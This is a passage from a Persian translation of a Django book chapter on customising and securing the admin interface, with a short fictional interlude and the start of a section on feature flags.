قبل شده است، بخصوص آیکن های svg در صفحه های نمایش با دی پی آی بالا (high-DPI) بهبود یافته اند.\n\nگرچه مدل های شما در حال حاضر قابل مشاهده نیست، مگر آن که مدل ها را از طریق بخش ادمین ثبت کنید. بخش ادمین در برنامه شما در فایل admin.py در دسترس است. برای مثال، در مسیر sightings/admin.py، مدلی به نام Sighting را به شکل زیر ثبت کرده ایم:\n    ‍‍\n> <p dir='ltr'>from django.contrib import admin from . import models\n> <br>\n>  admin.site.register(models.Sighting)\n> </p>\n\nاولین آرگومان تابع register کلاس مدل را برای افزودن به بخش ادمین سایت مشخص می کند. در اینجا، آرگومان دوم تابع register؛ که مدل کلاس ادمین (ModelAdmin) بوده، حذف شده است. بنابراین رابط کاربری که به صورت پیش فرض تعریف شده است را خواهیم داشت. در ادامه خواهیم دید که چطور می توانیم مدل ادمین خود را شخصی سازی کنیم.\n\n###  فانوس دریایی \n\n\"داری قهوه میخوری؟\" صدایی از گوشه ی ابدارخانه این را پرسید. «سو» نزدیک بود که قهوه اش را بریزد. مردی قد بلند که لباس قرمز و آبی پوشیده بود ایستاد و دست به کمر، لبخندی زد. نشانی که بر سینه او نقش بسته بود؛ به حروف بزرگ نوشته بود،کاپیتان آبویس (capitan obvious).\n\nسو در حالی که لکه قهوه را پاک میکرد گفت \"خدای من!\".\n\nکاپیتان گفت \"ببخشید که ترسوندمت، چه مورد اضطراری پیش اومده؟\"\n\nزنی آرام از بالا گفت: \"نمیبینی که دختره توی باغ نیست؟\"\n\nسو؛ سایه ای که به آرامی از سالن رو باز به پایین می آمد را دنبال می کرد. بخشی از صورت زن به وسیله موهای مشکی اش پوشیده شده بود.\n\nکاپیتان گفت:\"سلام هکسا\" سپس ادامه داد،\"آخرش پیام سایت SuperBook چی بود؟\"\n\nاندکی بعد، همه آن ها در دفتر کار «استیو»، در حالی که به مانیتور او نگاه میکردند؛ جمع شدند.\n«ایوان» گفت: \"میبینی! گفته بودم که هیچ فانوسی در صفحه ی اصلی سایت نیست. ما هنوز داریم روی این ویژگی کار می کنیم.\"\n\nاستیو گفت: \"صبر کن، بذار با یک اکانت غیرپرسنلی وارد بشم\".\n\nطی چند ثانیه، صفحه سایت تازه سازی شد و فانوس قرمز به طور برجسته ای در بالای صفحه سایت قرار گرفته بود.\nکاپیتان فریاد زد:\"خودشه! همون فانوسی که بهت گفته بودم\".\n\nاستیو گفت:\"یک لحظه صبر کن!\". او سورس فایلی که برای ویژگی های جدید سایت ثبت شده بود را بررسی کرد. با یک نگاه به ویژگی های فانوس متوجه شد که چه چیزی اشتباه شده است.\n\n> <p dir='ltr'>\n>  if switch_is_active(request, 'beacon') and not request.user.is_staff():\n>  <br>\n>  beacon.activate()\n> </p>\n\nاستیو گفت:\"ببخشید، یه خطای منطقی اتفاق افتاده.بجای اینکه این ویژگی را فقط برای پرسنل فعال کنم، ناخواسته آن را برای کسانی که جز پرسنل نبودند فعال کردم.حالا درست شد. بابت این اشفتگی عذر میخوام\".\n\nکاپیتان با یک نگاه تاسف بار پرسید:\"پس هیچ مورد اضطراری وجود نداشت؟\". هکسا با آرنج به بازوی او زد و گفت:\"فکر نکنم کاپیتان!\"\nسپس صدای مهیبی آمد. همه به سمت راهرو دویدند. ظاهرا مردی اشتباها از طریق یکی از دیوارهای شیشه ای، وارد اتاق شده بود. در حالی که تکه های شکسته شیشه را در دستش تکان میداد؛ ایستاد و گفت: \"ببخشید،با نهایت سرعت خودم رو رسوندم،دیر رسیدم؟\".\nهکسا خندید و گفت: \"نه «بیلتز» منتظرت بودیم که برسی\".\n\n### بهینه سازی مدل ها برای بخش ادمین:\n\nدر اینجا مثالی موجود است که مدل ادمین را برای کارایی و جلوه ای بهتر، بهینه سازی کرده است. می توانید به تفاوت های میان دو اسکرین شات زیر نگاهی بیاندازید تا ببینید که چطور چند خط کد، می تواند انقدر تفاوت ایجاد کند.\n\n![حالت پیش فرض نمایش لیستی در بخش ادمین](https://raw.githubusercontent.com/ftg-iran/ddpabp-persian/main/06-%20Admin%20Interface/images/image-001.png)\n\nحالت پیش فرض نمایش لیستی بخش ادمین، برای مدل sightings\n\nپس از پیاده سازی روش مذکور برای شخصی سازی بخش ادمین، همان اطلاعات مشابه با دسترسی آسان تر و بهتری به شکل زیر نمایش داده می شوند:\n\n![نمایش لیستی بهینه شده در بخش ادمین](https://raw.githubusercontent.com/ftg-iran/ddpabp-persian/main/06-%20Admin%20Interface/images/image-002.png)\n\nنمایش لیستی بهینه شده بخش ادمین برای مدل sightings\n\nبرنامه ادمین به اندازه کافی هوشمند است که موارد زیادی را از مدل شما به صورت خودکار درک و دریافت کند. اگرچه گاهی اطلاعات اشاره شده قابل بهبود است. این عمل معمولا به صورت اضافه کردن یک ویژگی یا یک متد به مدل خودتان(بجای مدل ادمین) انجام می شود.\n\nدر اینجا کد مربوط به مدل بهینه شده ی sightings را داریم:\n\n<pre dir='ltr' style='background-color:#D3D3D3'>\\# <span class=\"pl-s1\">models</span>.<span class=\"pl-s1\">py</span>\n<span class=\"pl-k\">class</span> <span class=\"pl-v\">Sighting</span>(<span class=\"pl-s1\">models</span>.<span class=\"pl-v\">Model</span>):\n    <span class=\"pl-s1\">superhero</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s1\">models</span>.<span class=\"pl-v\">ForeignKey</span>(\n        <span class=\"pl-s1\">settings</span>.<span class=\"pl-v\">AUTH_USER_MODEL</span>, <span class=\"pl-s1\">on_delete</span><span class=\"pl-c1\">=</span><span class=\"pl-s1\">models</span>.<span class=\"pl-v\">CASCADE</span>)\n    <span class=\"pl-s1\">power</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s1\">models</span>.<span class=\"pl-v\">CharField</span>(<span class=\"pl-s1\">max_length</span><span class=\"pl-c1\">=</span><span class=\"pl-c1\">100</span>)\n    <span class=\"pl-s1\">location</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s1\">models</span>.<span class=\"pl-v\">ForeignKey</span>(<span class=\"pl-v\">Location</span>, <span class=\"pl-s1\">on_delete</span><span class=\"pl-c1\">=</span><span class=\"pl-s1\">models</span>.<span class=\"pl-v\">CASCADE</span>)\n    <span class=\"pl-s1\">sighted_on</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s1\">models</span>.<span class=\"pl-v\">DateTimeField</span>()\n\n    <span class=\"pl-k\">def</span> <span class=\"pl-en\">__str__</span>(<span class=\"pl-s1\">self</span>):\n        <span class=\"pl-k\">return</span> <span class=\"pl-s\">\"{}'s power {} sighted at: {} on {}\"</span>.<span class=\"pl-en\">format</span>(\n            <span class=\"pl-s1\">self</span>.<span class=\"pl-s1\">superhero</span>,\n            <span class=\"pl-s1\">self</span>.<span class=\"pl-s1\">power</span>,\n            <span class=\"pl-s1\">self</span>.<span class=\"pl-s1\">location</span>.<span class=\"pl-s1\">country</span>,\n            <span class=\"pl-s1\">self</span>.<span class=\"pl-s1\">sighted_on</span>)\n\n    <span class=\"pl-k\">def</span> <span class=\"pl-en\">get_absolute_url</span>(<span class=\"pl-s1\">self</span>):\n        <span class=\"pl-k\">from</span> <span class=\"pl-s1\">django</span>.<span class=\"pl-s1\">urls</span> <span class=\"pl-k\">import</span> <span class=\"pl-s1\">reverse</span>\n        <span class=\"pl-k\">return</span> <span class=\"pl-en\">reverse</span>(<span class=\"pl-s\">'sighting_details'</span>, <span class=\"pl-s1\">kwargs</span><span class=\"pl-c1\">=</span>{<span class=\"pl-s\">'pk'</span>: <span class=\"pl-s1\">self</span>.<span class=\"pl-s1\">id</span>})\n\n    <span class=\"pl-k\">class</span> <span class=\"pl-v\">Meta</span>:\n      <span class=\"pl-s1\">unique_together</span> <span class=\"pl-c1\">=</span> (<span class=\"pl-s\">\"superhero\"</span>, <span class=\"pl-s\">\"power\"</span>)\n      <span class=\"pl-s1\">ordering</span> <span class=\"pl-c1\">=</span> [<span class=\"pl-s\">\"-sighted_on\"</span>]\n      <span class=\"pl-s1\">verbose_name</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s\">\"Sighting &amp; Encounter\"</span>\n      <span class=\"pl-s1\">verbose_name_plural</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s\">\"Sightings &amp; Encounters\"</span>\n</pre>\n\nحال نحوه استفاده ادمین از این ویژگی ها را بررسی می کنیم:\n\n<h4>__str__():</h4>\nبدون این متد، عناوین فلیدهای مدل شما به صورتی کسالت بار و ناخوانا نمایش داده می شوند. تمام فیلدها با فرمتی به شکل\n\nSighting:Sighting object\n\nنمایش داده می شوند. سعی کنید که تمام ویژگی های منحصر به فرد آبجکت را در نمایش str(یا در نمایش Unicode برای پایتون ورژن ۲)، همچون نام آبجکت و ورژن آن؛ نمایش دهید. هر آنچه که به نمایش بدون ابهام آبجکت در ادمین کمک کند، کاربردی است.\n\n#### get_absolute_url():\nاین متد برای جابجا شدن بین صفحه سایت ادمین و نمایش جزئیات آبجکت متناظر روی سایت شما(صفحه اصلی) کارآمد است.اگر این متد تعریف شده باشد، یک دکمه با عنوان \"نمایش بر روی سایت\" در کنج بالا و دست راست صفحه ی ویرایش آبجکت در داخل ادمین؛ نشان داده می شود\n\n- ordering:\n\n بدون این گزینه ی متا،ورودی های شما با ترتیبی که از دیتابیس دریافت شده اند،نمایش داده می شوند. همانطور که تصور می کنید، اگر تعداد زیادی آبجکت داشته باشید؛ این شیوه مرتب کردن برای ادمین سایت جالب نخواهد بود. به طور معمول، ادمین ها ترجیح می دهند که ورودی های جدیدتر را در ابتدا مشاهده کنند؛ بنابراین مرتب سازی با ترتیب زمانی معکوس(با نشان منفی) رایج است.\n\n\n-   verbose_name:\n\nاگر این ویژگی را حذف کنید، نام مدل شما از حالت کمل کیس با حروف اول بزرگ، به حالت ساده تبدیل می شود.در این مثال، از این ویژگی به صورت بیهوده و برای تبدیل Sighting به Sighting & Encounter استفاده شده است.\nاما بعضی مواقع اسمی که به صورت خودکار برای مدل ساخته می شود، گیج کننده است؛ پس شما می توانید نامی که برای کاربر خوانا باشد را برای نمایش در بخش ادمین تعیین کنید.\n\n \n- verbose_name_plural\n\nمجددا، حذف این ویژگی نتایج جالبی خواهد داشت. از آنجا که جنگو برای اسامی مدل ها حرف جمع s را در انتها می آورد، لغت جمع به صورت\"Sighting & Encounters\"(در صفحه ادمین و نه جای دیگر)نمایش داده می شود. پس بهتر است با استفاده از این ویژگی، شکل صحیح آن را تعریف کنیم.\n\nپیشنهاد می شود که تگ متا مذکور را نه تنها برای رابط ادمین، بلکه برای نمایش بهتر در قسمت های شل و فایل های لاگ نیز، تعریف کنید.اگرچه، شما می توانید از ویژگی های بسیار بیشتر ادمین برای شخصی سازی کلاس مدل ادمین بهره ببرید. در این مثال، شخصی سازی را به صورت زیر انجام می دهیم:\n\n`# admin.py`\n\n<pre dir='ltr' style='background-color:#D3D3D3'><span class=\"pl-k\">class</span> <span class=\"pl-v\">SightingAdmin</span>(<span class=\"pl-s1\">admin</span>.<span class=\"pl-v\">ModelAdmin</span>):\n    <span class=\"pl-s1\">list_display</span> <span class=\"pl-c1\">=</span> (<span class=\"pl-s\">'superhero'</span>, <span class=\"pl-s\">'power'</span>, <span class=\"pl-s\">'location'</span>, <span class=\"pl-s\">'sighted_on'</span>)\n    <span class=\"pl-s1\">date_hierarchy</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s\">'sighted_on'</span>\n    <span class=\"pl-s1\">search_fields</span> <span class=\"pl-c1\">=</span> [<span class=\"pl-s\">'superhero'</span>]\n    <span class=\"pl-s1\">ordering</span> <span class=\"pl-c1\">=</span> [<span class=\"pl-s\">'superhero'</span>]\n<span class=\"pl-s1\">admin</span>.<span class=\"pl-s1\">site</span>.<span class=\"pl-en\">register</span>(<span class=\"pl-s1\">models</span>.<span class=\"pl-v\">Sighting</span>, <span class=\"pl-v\">SightingAdmin</span>)</pre>\n\nبگذارید تا به این ویژگی ها نگاهی دقیق تر داشته باشیم.\n\n\n- list_display:\n\nاین گزینه نمونه های ساخته شده ازمدل را به صورت جدولی نشان می دهد. بجای استفاده از \\__str__ این گزینه تمام فیلدهای ذکر شده را به صورت ستونی قابل مرتب سازی نشان می دهد. این قابلیت برای مرتب سازی مدل با بیش از یک ویژگی ، ایده آل است.\n\n\n- date_hierarchy:\n\nتعیین هر فیلد تاریخ-زمان با این ویژگی، یک توضیح دقیق تر برای هر تاریخ ارائه خواهد داد.( به سال های قابل کلیک در زیر کادر جستجو توجه کنید)\n\n- search_fields:\n\nاین گزینه یک کادر جستجو بالای لیست ایجاد می کند. هر عبارتی که جستجو شود در فیلدهای مشخص شده جستجو خواهد شد. بنابراین فقط فیلدهای کاراکتری و فیلدهای متنی می توانند در اینجا استفاده شوند.\n\n- ordering:\n\nاین گزینه به ترتیب پیش فرض مدل شما تقدم می یابد. این مورد زمانی کاربردی است که شما نیاز به ترتیب نمایش متفاوتی در صفحه ادمین دارید؛ که در اینجا ترجیحا اعمال شده است.\n\nما فقط زیرمجموعه ای از پر استفاده ترین ویژگی های ادمین را ذکر کردیم. نوع خاصی از وبسایت ها، استفاده زیادی از رابط ادمین دارند؛در این موارد، شدیدا توصیه می شود که به مستندات جنگو مراجعه و بخش مربوط به ادمین را مطالعه کنید.\n\n#### هر کسی نباید ادمین باشه\n\nاز آنجا که ساخت رابط ادمین بسیار آسان است، ممکن است که افراد به غلط از آن استفاده کنند. برخی با فعال کردن تیک staff(کارکنان) برای کاربران، به صورت بی رویه به آن ها دسترسی برای مدیریت این بخش می دهند.\n\n\nمتاسفانه، این چیزی نیست که رابط ادمین برای آن ساخته شده. همانطور که از معنی لغت staff پیدا است، ابزاری داخلی است برای کارکنان تا محتوا را وارد کنند. این یک ابزار فعال در محیط تولید است(زمانی که سایت بر روی سرور اپلود شده)، اما برای کاربران نهایی وبسایت شما در نظر گرفته نشده است.\n\n\nبهتر است از رابط ادمین برای وارد کردن دیتا های ساده استفاده شود. برای مثال،در یک پروژه ی اینترانت در سطح یک مدرسه مشاهده کردم، هر یک از معلم ها به عنوان یک ادمین برای اپ جنگو در نظر گرفته شده بود. این تصمیم اشتباهی بود چرا که محیط کاربری ادمین، معلمان را گیج می کرد.\n\n\nگردش کار برای برنامه ریزی کلاس ، شامل بررسی برنامه های معلمان و دانش آموزان دیگر است. استفاده از رابط ادمین به آن ها نمای واضحی از پایگاه داده می دهد. در این حالت ، مدیر کنترل کمی بر روند اعمال تغییرات بر داده ها دارد.\n\n\nبنابراین، تعداد افرادی که به رابط ادمین دسترسی دارند را در حداقل ممکن نگه دارید. در اعمال تغییرات از طریق رابط ادمین زیاده روی نکنید، مگر اینکه وارد کردن یک داده ساده، مثل اضافه کردن محتوای یک مقاله؛ باشد.\n\n\n#### الگوهای سرآمد: \n\n`به کاربران نهایی دسترسی به رابط ادمین ندهید.\n`\n\nمطمئن شوید که تمام مدیران سایت شما از تناقض هایی که ممکن است در داده ها از طریق رابط ادمین ایجاد شود، آگاه هستند.اگر ممکن است به صورت دستی تغییرات را ذخیره کنید؛یا از برنامه هایی مثل django-audit-log، که می تواند گزارش تغییرات اعمال شده در قسمت ادمین را برای ارجاع در آینده ذخیره کند، استفاده کنید.\n\nدر یک نمونه مثال از یک دانشگاه، ما یک رابط کاربری مجزا،همانند یک رابط برنامه ریزی دوره ها؛ برای اساتید ساختیم. چنین ابزاری حاوی برنامه ای است که می تواند برای مقاصدی بسیار فراتر از عملکرد فیلد های داده ی رابط ادمین،مثل شناسایی تناقض بین تاریخ دوره ها؛ مورد استفاده باشد باشد .\n\n\n\nاساسا، اصلاح اشکالات رابط ادمین مستلزم ایجاد ابزار های توانمندتری برای یک مجموعه مشخص از کاربران است. با این حال، مسیر آسان(و اشتباه) اعطای دسترسی مدیریت به آنها را انتخاب نکنید.\n\n\n#### سفارشی سازی رابط مدیریت\n\nپنل ادمین آماده جنگو برای شروع کار بسیار مناسب است. متاسفانه، اکثریت افراد تصور می کنند که تغییر دادن رابط مدیریت جنگو بسیار مشکل است و آن را به همان شکلی که هست رها می کنند. در واقع رابط مدیریت جنگو قابلیت شخصی سازی فوق العاده ای دارد و ظاهر آن را می توان با حداقل تلاش، شدیدا تغییر داد.\n\n\n#### تغییر عنوان\n\n\nبسیاری از کاربران رابط مدیریت ممکن است با عنوان مدیریت جنگو (django administration) دچار مشکل شوند. احتمالا بهتر باشد که این مورد را به عبارتی اختصاصی مثل، \"مدیر سایت من\"، یا عبارت جالب توجهی چون \"محیط مهرمانه superbook\"  تغییر دهید.\n\nایجاد این تغییرات بسیار راحت است، فقط لازم است تا خط کد زیر را به صفحه urls.py سایت خود اضافه کنید.\n\n<pre dir='ltr' style='background-color:#D3D3D3'><span class=\"pl-s1\">admin</span>.<span class=\"pl-s1\">site</span>.<span class=\"pl-s1\">site_header</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s\">\"SuperBook Secret Area\"</span></pre>\n\n#### تغییر پایه و شیوه نامه\n\nتقریبا هر صفحه مدیریتی، از یک الگوی پایه مشترک توسعه یافته است که به آن admin/base_site.html می گویند.\n\nاین بدان معنی است که شما با یک دانش حداقلی از html و css، می توانید به دلخواه ظاهر و حالت رابط کاربری ادمین را تغییر دهید.\n\nیک فایل با نام ادمین در مسیری که الگوهایتان قرار دارد بسازید. سپس محتوای فایل base_site.html را از سورس کد جنگو کپی کرده و در فایل جدید، به دلخواه آن را ویرایش کنید. اگر نمی دانید که الگوها(templates) کجا قرار گرفته اند،کافی است که کد زیر را در شل (shell) جنگو اجرا نمایید.\n\n<p dir='ltr' style='background-color:#ADD8E6'>\nfrom os.path import join\n<br>\nfrom django.contrib import admin\n<br>\nprint(join(admin.\\__path__[0], \"templates\", \"admin\")) /home/arun/env/sbenv/lib/python3.6/site- packages/django/contrib/admin/templates/admin\n</p>\n\nاخرین خط، محل قرارگیری تمام فایل های الگوی ادمین شما است.شما می توانید هر کدام از این فایل ها را تغییر و یا تعمیم دهید.\n\nبرای مثال در تغییر پایه الگوی ادمین، شما می توانیدفونت تمام قسمت ادمین را به فونت Special Elite تغییر دهید.\n\nبرای این کار لازم است که محتویات فایل  base_site.html را از مسیر الگوهای ادمین به مسیر admin/base_site.html؛ در یک پوشه از الگوهای خودتان، کپی کنید. سپس کد زیر را به انتهای آن اضافه کنید.\n\n<pre dir='ltr' style='background-color:#D3D3D3'>{% block extrastyle %}\n\n<span class=\"pl-kos\">&lt;</span><span class=\"pl-ent\">link</span>\n  <span class=\"pl-c1\">href</span>=\"<span class=\"pl-s\">http://fonts.googleapis.com/css?family=Special+Elite</span>\"\n  <span class=\"pl-c1\">rel</span>=\"<span class=\"pl-s\">stylesheet</span>\"\n  <span class=\"pl-c1\">type</span>=\"<span class=\"pl-s\">text/css</span>\"\n/&gt;\n\n<span class=\"pl-kos\">&lt;</span><span class=\"pl-ent\">style</span> <span class=\"pl-c1\">type</span>=\"<span class=\"pl-s\">text/css</span>\"<span class=\"pl-kos\">&gt;</span>\n  <span class=\"pl-ent\">body</span><span class=\"pl-kos\">,</span>\n  <span class=\"pl-ent\">td</span><span class=\"pl-kos\">,</span>\n  <span class=\"pl-ent\">th</span><span class=\"pl-kos\">,</span>\n  <span class=\"pl-ent\">input</span> {\n    <span class=\"pl-c1\">font-family</span><span class=\"pl-kos\">:</span> <span class=\"pl-s\">\"Special Elite\"</span><span class=\"pl-kos\">,</span> cursive;\n  }\n<span class=\"pl-kos\">&lt;/</span><span class=\"pl-ent\">style</span><span class=\"pl-kos\">&gt;</span>\n{% endblock %}</pre>\n\n\nاین کد، شیوه نامه جدیدی برای تغییر فونت مربوطه می افزاید که به تمام صفحات ادمین اعمال می شود.\n\n\n#### اضافه کردن یک ویرایشگر متن غنی(rich-text) برای ویرایش WYSIWYG \n\n\nگاهی اوقات نیاز دارید که کد جاوااسکریپتی در بخش ادمین داشته باشید. یک نیاز مشترک، استفاده از یک ویرایشگر HTML ؛ مثل CKEditor، برای فیلدهای متنی است.\n\nراه های متعددی برای پیاده سازی این موضوع در جنگو ، همانند استفاده از کلاس داخلی Media در کلاس مدل ادمین(ModelAdmin)؛ وجود دارد.با این حال، من تعمیم الگوی change_form در ادمین را مناسب ترین روش تشخیص دادم.\n\nبرای مثال، اگر شما یک برنامه به اسم پست ها دارید، لازم است که فایلی با نام change_form.html در مسیر templates/admin/posts/ بسازید. اگر نیاز دارید که ویرایشگر CKEditor ( یا هر ویرایشگر جاوااسکریپت، اما این ویرایشگر مورد ترجیح من است)برای فیلد پیام یک مدل از این برنامه نمایش داده شود، محتوای فایل مربوطه می تواند به صورت زیر باشد:\n\n<pre dir='ltr' style='background-color:#D3D3D3'>{% extends \"admin/change\\_form.html\" %} {% block footer %} {{ block.super }}\n\n<span class=\"pl-kos\">&lt;</span><span class=\"pl-ent\">script</span> <span class=\"pl-c1\">src</span>=\"<span class=\"pl-s\">//cdn.ckeditor.com/4.4.4/standard/ckeditor.js</span>\"<span class=\"pl-kos\">&gt;</span><span class=\"pl-kos\">&lt;/</span><span class=\"pl-ent\">script</span><span class=\"pl-kos\">&gt;</span>\n<span class=\"pl-kos\">&lt;</span><span class=\"pl-ent\">script</span><span class=\"pl-kos\">&gt;</span>\n  <span class=\"pl-c1\">CKEDITOR</span><span class=\"pl-kos\">.</span><span class=\"pl-en\">replace</span><span class=\"pl-kos\">(</span><span class=\"pl-s\">\"**id_message**\"</span><span class=\"pl-kos\">,</span> <span class=\"pl-kos\">{</span>\n    <span class=\"pl-c1\">toolbar</span>: <span class=\"pl-kos\">[</span><span class=\"pl-kos\">[</span><span class=\"pl-s\">\"Bold\"</span><span class=\"pl-kos\">,</span> <span class=\"pl-s\">\"Italic\"</span><span class=\"pl-kos\">,</span> <span class=\"pl-s\">\"-\"</span><span class=\"pl-kos\">,</span> <span class=\"pl-s\">\"NumberedList\"</span><span class=\"pl-kos\">,</span> <span class=\"pl-s\">\"BulletedList\"</span><span class=\"pl-kos\">]</span><span class=\"pl-kos\">]</span><span class=\"pl-kos\">,</span>\n    <span class=\"pl-c1\">width</span>: <span class=\"pl-c1\">600</span><span class=\"pl-kos\">,</span>\n  <span class=\"pl-kos\">}</span><span class=\"pl-kos\">)</span><span class=\"pl-kos\">;</span>\n<span class=\"pl-kos\">&lt;/</span><span class=\"pl-ent\">script</span><span class=\"pl-kos\">&gt;</span>\n<span class=\"pl-kos\">&lt;</span><span class=\"pl-ent\">style</span> <span class=\"pl-c1\">type</span>=\"<span class=\"pl-s\">text/css</span>\"<span class=\"pl-kos\">&gt;</span>\n  .<span class=\"pl-c1\">cke</span> {\n    <span class=\"pl-c1\">clear</span><span class=\"pl-kos\">:</span> both;\n  }\n<span class=\"pl-kos\">&lt;/</span><span class=\"pl-ent\">style</span><span class=\"pl-kos\">&gt;</span>\n\n{% endblock %}</pre>\n\nقسمتی که بولد شده، شناسه ساخته شده به صورت خودکار برای المان فرمی است که می خواهیم از یک کادر متنی ساده به یک ویرایشگر متن غنی تبدیل کنیم. این تغییر سایر کادرهای متنی فیلدهای سایت ادمین را تحت تاثیر قرار نمی دهد. این اسکریپت ها به بلوک انتهایی (footer) افزوده شده، پس المان های فرم در DOM قبل از آن که تغییر کنند،ساخته شده اند.\n\nشیوه های دیگر دستیابی به این موضوع ممکن است نیازمند نصب برنامه ها و تنظیمات دیگری باشد. برای تغییر فقط یک صفحه از سایت ادمین، این زیاده روی است. شیوه قبلی به شما این انعطاف پذیری را می دهد که بین ویرایشگر جاوااسکریپت یا موارد دلخواه خودتان، انتخاب کنید.\n\n\n#### ادمین با تم بوت استرپ\n\nجای تعجب نیست که یک درخواست برای سفارشی سازی بخش ادمین این است که آیا می توان بوت استرپ را با آن ادغام کرد یا خیر. بسته های(pacakges) زیادی؛ همانند Django-admin-bootstrapped  و یا Django suit هستند؛ که می توانند این کار را انجام دهند.\n\nبجای این که تمام الگوهای ادمین را خودتان تغییر دهید، این بسته ها تم های آماده به مصرفی را فراهم کرده اند.نصب و بارگذاری این تم ها آسان است. از آنجا که بر اساس بوت استرپ هستند، واکنشگرا(responsive) بوده و با مولفه ها و ویجت های متنوعی همراه هستند.\n\n\n\n#### بازسازی کامل \n\nتلاش های زیادی برای دوباره به تصویر کشیدن بخش ادمین انجام شده است.  Grappelli یک پوسته محبوب است که رابط ادمین جنگو را با با ویژگی های جدیدی تعمیم می دهد؛  جستجوهای پیشنهاد دهنده(autocomplete lookups) و خطوط تاشو(collapsible inlines) نمونه هایی از این ویژگی ها هستند. با استفاده از ابزار  django-admin-tools شما یک داشبورد و نوار منو با قابلیت سفارشی سازی خواهید داشت.\n\n\n\nتلاش هایی برای بازنویسی مجدد رابط ادمین صورت گرفته، نظیر django-admin2  و nexus؛ که پیشرفت قابل توجهی نداشتند. همچنین یک ابزار رسمی به نام AdminNext برای اصلاح کامل رابط ادمین ساخته شد.\nبا در نظر گرفتن حجم، پیچیدگی و محبوبیت رابط ادمین موجود؛ هر تلاشی از این قبیل زمان بسیار زیادی خواهد برد.\n\n#### حفاظت از ادمین\n\nرابط ادمین سایت شما تقریبا به هر داده ای که در سایت ذخیره شده است دسترسی دارد،بنابراین دروازه این مخزن اطلاعات را بدون محافظ رها نکنید.در واقع یک نشانه که گویای این است که شخص از جنگو استفاده می کند،این است که وقتی به صفحه http://example.com/admin/ می روید، یک صفحه آبی برای ورود به بخش می بینید.\n\nزمانی که سایت را بر روی سرور بالا می آورید، بهتر است که مسیر ادمین را به مسیری که کمتر مشخص باشد تغییر دهید. انجام این کار با سادگی با کد زیر در فایل urls.py انجام می شود.\n\n<pre dir='ltr' style='background-color:#D3D3D3'><span class=\"pl-en\">path</span>(<span class=\"pl-s\">'secretarea/'</span>, <span class=\"pl-s1\">admin</span>.<span class=\"pl-s1\">site</span>.<span class=\"pl-s1\">urls</span>),</pre>\n\nراهکاری که مقداری پیچیده تر است آن است که یک صفحه ادمین فیک (رد گم کن!) در مسیر پیش فرض داشته باشید.(بسته ی django-admin-honeypot package را جستجو کنید).\nبا این حال بهترین راه حل استفاده از HTTPS در محیط ادمین(و هر جای دیگر از وبسایت) است.چرا که استفاده از HTTP ساده، موجب ارسال تمام داده ها به صورت یک متن ساده در شبکه می شود.\n\n\nمستندات سرور وبسایت خود را در رابطه با نحوه ی تنظیم HTTPS برای درخواست های ادمین (یا اگر ممکن است، تمام وبسایتتان) بررسی کنید. بر روی Nginx، انجام این کار ساده است؛ که شامل تعیین محل گواهی SSL می شود. در نهایت،تمامی درخواست های HTTP دریافت شده برای ادمین را به صفحات HTTPS بازنشانی کنید، تا خیال راحت تری داشته باشید!\n\nالگوی زیر تنها محدود به بخش رابط ادمین نیست، اما با این وجود در این فصل گنجانده شده؛ زیرا اغلب در این بخش کنترل می شود.\n\n#### پرچم های(flags) الگو - ویژگی\n\nمشکل: انتشار ویژگی های جدید برای کاربران باید مستقل از بارگذاری کد متناظر در تولید باشد.\n\nراه حل: استفاده از پرچم های ویژگی برای فعال یا غیر فعال کردن ویژگی ها پس از بارگذاری به صورت انتخابی.\n\n##### شرح مشکل\n\nامروزه رفع مشکلات مکرر و مدیریت ویژگی های جدید در حین فعال بودن سایت بر روی سرور، مسئله ای رایج است.بسیاری از این تغییرات توسط کاربران مورد توجه قرار نمی گیرد. اگرچه ویژگی های جدیدی که تاثیر قابل توجی از نظر عملکرد و قابلیت های سایت دارند، باید به صورت مرحله ای عرضه شوند. به عبارت دیگر، بارگذاری باید از مرحله انتشار و فعال سازی جدا شود.\n\nیک فرآیند ساده انتشار نسخه جدید، ویژگی های تازه را به محض بارگذاری شدن آن ها بر روی سایت، فعال می کند. این امر به طور بالقوه می تواند نتایج فاجعه باری داشته باشد؛ از مشکلات کابران ( پر شدن منابع پشتیبانی و نرم افزاری شما) گرفته، تا مشکلات عملکردی(خرابی و غیرفعال شدن سایت) را منجر می شود.\n\n\nاز این رو در سایت های بزرگ، جداسازی فرآیند بارگذاری بروزرسانی جدید در زمان تولید و فعال سازی آن ها؛ اهمیت زیادی دارد. حتی گاهی پس از فعال سازی ممکن است فقط برای عده خاصی از کاربران آن را قابل مشاهده کنیم. این گروه منتخب می توانند کارکنان یا مجموعه محدودی از مشتریان باشند که پیش نمایش اولیه را دریافت می کنند.\n\n##### شرح راه حل:\n\nبسیاری از سایت ها فعال سازی ویژگی های جدید را با استفاده از پرچم های ویژگی کنترل می کنند.به طور معمول این یک سوئیچ است که در هر مرحله کنترل می شود.\"فلیپر\" سوئیچی در کد شما است که تعیین می کند آیا یک ویژگی باید در دسترس مشتریان خاص قرار گیرد یا خیر. اما ما در اینجا عبارت عام پرچم ویژگی(feature flag) را به کار می بریم.\n\nپکیج های جنگو دارای پرچم های ویژگی مانند gargoyle و django-waffle هستند. این پکیج ها پرچم های سایت را در پایگاه داده ذخیره می کنند.آنها را می توان از طریق رابط ادمین یا از طریق دستورات مدیریت فعال یا غیرفعال کرد. از این رو هر محیطی(تولید،آزمایش،توسعه و ...) می تواند مجموعه ای از ویژگی های فعال شده خود را داشته باشد.\n\nپرچم های ویژگی در اصل در سایت فلیکر ثبت شده بودند.(ادرس http://code.flickr.net/2009/12/02/flipping-out را بررسی کنید). آنها یک منبع کد را بدون هیچ شاخه ای مدیریت کردند- یعنی همه چیز در شاخه اصلی بررسی شد. آنها همچنین این کد را چندین بار در روز وارد محیط تولید کردند. اگر آنها متوجه می شدند که یک ویژگی جدید باعث خرابی چیزی در محیط تولید شده است یا بارگذاری روی پایگاه داده را افزایش داده است؛ به سادگی آن را با استفاده از پرچم ویژگی، غیر فعال می کردند.\n\nپرچم های ویژگی می توانند برای موقعیت های دیگری نیز استفاده شوند(مثال زیر از Django Waffle استفاده می کند):\n\n##### آزمایش:\nیک پرچم ویژگی می تواند برای کاربران خاصی فعال باشد. این کاربران می توانند کارکنان شما و یا برخی پذیرندگان اولیه باشند که مورد 